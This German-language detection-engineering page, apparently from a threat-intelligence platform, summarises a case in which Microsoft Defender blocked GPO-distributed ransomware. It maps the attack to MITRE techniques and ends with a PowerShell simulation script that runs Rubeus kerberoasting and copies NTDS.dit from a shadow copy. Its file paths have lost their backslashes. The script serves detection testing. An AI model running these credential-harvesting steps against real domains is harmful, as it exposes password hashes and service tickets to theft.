Fallstudie: Wie Defenders Predictive Shielding GPO-basierten Ransomware vor der Ausführung blockierte
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Microsoft Defender unterbrach einen ransomwarebasierten Angriff eines menschlichen Operators, der auf eine große Bildungseinrichtung abzielte, indem der Missbrauch von Gruppenrichtlinienobjekten (GPOs) erkannt wurde. Diese wurden verwendet, um Sicherheitseinstellungen zu schwächen und Ransomware durch geplante Aufgaben zu verbreiten.
Untersuchung
Die Angreifer kompromittierten ein Domänen-Admin-Konto, führten eine Active Directory-Aufzählung durch, erzwangen Anmeldeinformationen durch Brute-Force, sammelten Kerberos-Tickets und NTDS-Daten, erstellten gefälschte lokale Konten und setzten bösartige GPOs ein, um eine Manipulationsrichtlinie durchzusetzen und die Lieferung von Ransomware durch geplante Aufgaben auszulösen.
Minderung
Defenders prädiktive Abschirmung identifizierte die bösartige GPO-Aktivität, erzwang eine temporäre GPO-Härtung, blockierte die geplante Ransomware-Ausführung und verhinderte die Verschlüsselung auf 97% der Geräte.
Reaktion
Sobald entdeckt, sollten Verteidiger sofort eine GPO-Härtung aktivieren, kompromittierte Konten eindämmen, verdächtigen SMB-Verkehr blockieren und nach zusätzlichen Persistenzmethoden suchen, einschließlich der unbefugten Erstellung lokaler Konten.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef builtin fill:#cccccc %% Reconnaissance Nodes recon_action["<b>Aktion</b> – Aufklärung<br/>Verwendete AD Explorer, um Active Directory aufzulisten, und führte Passwort-Raten durch."] class recon_action action recon_brute["<b>Technik</b> – T1110 Brute Force: Passwort-Raten<br/><b>Beschreibung</b> Versucht, Passwörter durch Versuch und Irrtum zu erraten."] class recon_brute technique recon_account["<b>Technik</b> – T1087.002 Kontoentdeckung: Domänenkonto<br/><b>Beschreibung</b> Zeigt Domänenbenutzerkonten auf."] class recon_account technique recon_gpo["<b>Technik</b> – T1615 Gruppenrichtlinienentdeckung<br/><b>Beschreibung</b> Ruft Gruppenrichtlinieneinstellungen von Domänencontrollern ab."] class recon_gpo technique %% Reconnaissance Connections recon_action –>|nutzt| recon_brute recon_action –>|entdeckt| recon_account recon_action –>|entdeckt| recon_gpo %% Credential Access Nodes action_cred["<b>Aktion</b> – Anmeldeinformationszugriff<br/>Führte Kerberoasting durch und warf NTDS.dit ab."] class action_cred action tech_kerb["<b>Technik</b> – T1558.003 Kerberoasting<br/><b>Beschreibung</b> Fordert Diensttickets an und entschlüsselt sie offline."] class tech_kerb technique tech_ntds["<b>Technik</b> – T1003.003 OS-Anmeldeinformations-Dumping: NTDS<br/><b>Beschreibung</b> Extrahiert Passwort-Hashes aus der Active Directory-Datenbank."] class tech_ntds technique %% Credential Access Connections action_cred –>|nutzt| tech_kerb action_cred –>|nutzt| tech_ntds %% Persistence Nodes action_persist["<b>Aktion</b> – Persistenz<br/>Erstellte neue lokale Konten auf kompromittierten Hosts."] class action_persist action tech_create_local["<b>Technik</b> – T1136.001 Kontoerstellung: Lokales Konto<br/><b>Beschreibung</b> Fügt lokale Benutzerkonten für fortlaufenden Zugriff hinzu."] class tech_create_local technique %% Persistence Connections action_persist –>|nutzt| tech_create_local %% Lateral Movement Nodes action_lateral["<b>Aktion</b> – Seitliche Bewegung<br/>Verwendete gestohlene Domänenanmeldeinformationen, um über SMB auf Remote-Administratorfreigaben zuzugreifen."] class action_lateral action tech_smb["<b>Technik</b> – T1021.002 Remote-Dienste SMB/Windows-Admin-Freigaben<br/><b>Beschreibung</b> Nutzt SMB-Freigaben für Seitwärtsbewegung."] class tech_smb technique %% Lateral Movement Connections action_lateral –>|nutzt| tech_smb %% Defense Evasion Nodes action_evasion["<b>Aktion</b> – Verteidigungsumgehung<br/>Setzte bösartige GPO ein, um Microsoft Defender zu deaktivieren."] class action_evasion action tech_gpo_mod["<b>Technik</b> – T1484 Domänen- oder Mandantenrichtlinienänderung<br/><b>Beschreibung</b> Ändert Gruppenrichtlinienobjekte, um Sicherheitseinstellungen zu ändern."] class tech_gpo_mod technique tech_impair["<b>Technik</b> – T1562.001 Verteidigungen beeinträchtigen: Deaktivieren oder Ändern von Werkzeugen<br/><b>Beschreibung</b> Schaltet Sicherheitswerkzeuge ab oder ändert sie."] class tech_impair technique %% Defense Evasion Connections action_evasion –>|modifiziert| tech_gpo_mod action_evasion –>|deaktiviert| tech_impair %% Impact Preparation Nodes action_impact["<b>Aktion</b> – Vorbereitung des Einflusses<br/>Erstellte geplante Aufgabe über GPO, um Dateien auf allen Domänenmaschinen zu kopieren und auszuführen."] class action_impact action tech_scheduled["<b>Technik</b> – T1053 Geplante Aufgabe/Job<br/><b>Beschreibung</b> Plant Ausführung von Befehlen zu definierten Zeiten."] class tech_scheduled technique tech_cmd["<b>Technik</b> – T1059.003 Befehl- und Skript-Interpreter Windows-Befehlszeile<br/><b>Beschreibung</b> Führt Batch-Dateien mit cmd.exe aus."] class tech_cmd technique tech_rundll["<b>Technik</b> – T1218.011 System-binäre Proxy-Ausführung Rundll32<br/><b>Beschreibung</b> Lädt bösartige DLLs über rundll32.exe."] class tech_rundll technique %% Impact Preparation Connections action_impact –>|erstellt| tech_scheduled action_impact –>|führt aus| tech_cmd action_impact –>|nutzt| tech_rundll %% Ransomware Deployment Nodes action_ransom["<b>Aktion</b> – Bereitstellung von Ransomware<br/>Nutzlast versucht, Dateien zu verschlüsseln; Defender blockierte GPO-Verbreitung auf vielen Geräten."] class action_ransom action tech_encrypt["<b>Technik</b> – T1486 Datenverschlüsselung zur Beeinflussung<br/><b>Beschreibung</b> Verschlüsselt Opferdaten, um Lösegeld zu verlangen."] class tech_encrypt technique %% Ransomware Deployment Connections action_ransom –>|nutzt| tech_encrypt %% Overall Flow Sequence recon_action –>|führt_zu| action_cred action_cred –>|führt_zu| action_persist action_persist –>|führt_zu| action_lateral action_lateral –>|führt_zu| action_evasion action_evasion –>|führt_zu| action_impact action_impact –>|führt_zu| action_ransom "
Angriffsfluss
Erkennungen
Mögliche Kerberoasting-Aktivität [korrelieren/bucket_span_10m/bis src_ipaddr] (via Audit)
Anzeigen
Mögliche AD Explorer-Tool-Muster (via cmdline)
Anzeigen
Deaktivieren der Echtzeitüberwachung von Windows Defender und andere Präferenzänderungen (via cmdline)
Anzeigen
Erkennung von Active Directory-Aufzählung und Anmeldeinformationen-Erfassungsaktivitäten [Microsoft Windows Security Event Log]
Anzeigen
Simulationsausführung
Voraussetzung: Die Telemetrie- und Basislinien-Vorflugkontrolle muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf ausgelegt ist, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
Angriffserzählung & Befehle
-
Active Directory-Aufzählung mit ADExplorer – Ein Angreifer nutzt das vorhandene Dienstprogrammat ADExplorer.exe , um die AD-Datenbank zu durchsuchen und ein Prozess-Erstellungsevent zu generieren, das mit
Image|endet mit: 'ADExplorer.exe'. -
Anmeldeinformationen Brute-Force (T1110) – Der Angreifer führt ein Passwort-Spray gegen ein Domänenkonto durch, was zu wiederholten fehlgeschlagenen Anmeldungen (Ereignis 4625) mit dem Fehlergrund
%#13(„Der Benutzer hat versucht, sich von einer nicht vertrauenswürdigen Domäne aus anzumelden“). -
Kerberoasting (T1558.003) – Mit dem Open-Source-Tool Rubeus, fordert der Angreifer Kerberos-Diensttickets für Computer-Konto-SPNs an (z. B.
HOST01$). Jede Anfrage ergibt Ereignis 4769, woServiceNameendet mit$. -
NTDS-Dump (T1003.003) – Der Angreifer erstellt eine Volume-Schattenkopie des Systemlaufwerks und extrahiert
NTDS.ditmitntdsutil, was Ereignis 4662 mitObjectType = "ds"andOperationType = "Replication".
Alle vier Aktionen werden innerhalb eines 5-Minuten-Zeitfensters auf demselben Host ausgeführt, um eine realistische nach der Kompromittierung ablaufende „Ernte“-Phase nachzuahmen.
Regressionstest-Skript
# -------------------------------------------------
# Simulationsskript – Löst alle vier Erkennungspfade aus
# -------------------------------------------------
# 1. ADExplorer-Ausführung (Prozesserstellung)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
Write-Host "ADExplorer nicht gefunden – Platzhalter für den Test herunterladen."
# Simulieren durch Kopieren einer beliebigen exe auf den erwarteten Namen
Copy-Item "$env:SystemRootSystem32notepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5
# 2. Brute-Force-Anmeldeversuche (4625 mit %#13)
$domain = "CONTOSO"
$user = "testuser"
$badPwd = "IncorrectPassword123!"
1..3 | ForEach-Object {
$null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
Start-Sleep -Milliseconds 500
}
# 3. Kerberoasting mit Rubeus (erfordert Rubeus.exe im PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
Write-Host "Rubeus nicht gefunden – Kerberoasting-Schritt wird übersprungen."
} else {
& $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5
# 4. NTDS.dit-Extraktion mit VSS (4662 Replikation)
# Erstellen Sie eine VSS-Schattenkopie und kopieren Sie NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5
Write-Host "Simulation abgeschlossen. Alle Telemetriedaten sollten erfasst sein."
Bereinigungsbefehle
# -------------------------------------------------
# Bereinigung – entfernt durch die Simulation erstellte Artefakte
# -------------------------------------------------
# Entfernen Sie falschen ADExplorer, falls er erstellt wurde
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue
# Löschen Sie den Kerberos-Dump
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue
# Löschen Sie den NTDS-Dump
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue
# Löschen Sie alle erstellten Schattenkopien (erfordert Admin)
# vssadmin delete shadows /all /quiet
Write-Host "Bereinigung abgeschlossen."